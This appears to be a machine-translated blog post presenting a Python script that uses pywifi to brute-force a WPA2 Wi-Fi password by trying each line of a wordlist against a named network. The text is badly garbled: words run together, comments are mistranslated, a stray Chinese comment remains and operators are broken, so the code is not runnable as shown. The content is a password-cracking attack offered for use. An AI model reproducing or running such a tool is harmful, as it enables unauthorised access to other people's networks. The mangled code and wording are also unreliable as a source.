It's a simple penis, and then an article.
ImportPywifiImportSYSImport Time fromPywifiImportConstdefTest_wifi_connect (passwordstr): WiFi=pywifi. Pywifi ()#InitializeIfaces=wifi.interfaces () [0]#Create and remove the first infinite Nic #print (Ifaces.name ()) #输出无限网卡名Ifaces.disconnect ()#disconnecting an infinite network card connectionTime.sleep (3)#buffer for 3 seconds after disconnection Profile=pywifi. Profile ()#configuration fileProfile.ssid="tp-link_168"#WiFi nameProfile.auth=const. Auth_alg_open#Password connection requiredProfile.akm.append (const. AKM_TYPE_WPA2PSK)#WiFi EncryptionProfile.cipher=const. cipher_type_ccmp#Secret UnitProfile.key=passwordstr#WiFi Keyifaces.remove_all_network_profiles ()#Delete all other configuration filesTmp_profile=ifaces.add_network_profile (Profile)#Load configuration fileIfaces.connect (tmp_profile)#ConnectionTime.sleep (10)#can be connected in 10 secondsisOK =TrueifIfaces.status () = =Const. Iface_connected:Print("Connection Successful") Else: Print("Connection Failed") Ifaces.disconnect ()#Disconnect ConnectionTime.sleep (1) returnIsokfpath=r"Password.txt"Files=open (Fpath,'R') whileTrue:#output of a row of rowsFd=Files.readline ()if notFD: BreakFD= Fd[:-1]#Remove line break ifTest_wifi_connect (FD):Print(FD,"Password is correct") Else: Print("Password Error") Files.close ()
Python make WiFi Hack (run dictionary (single thread))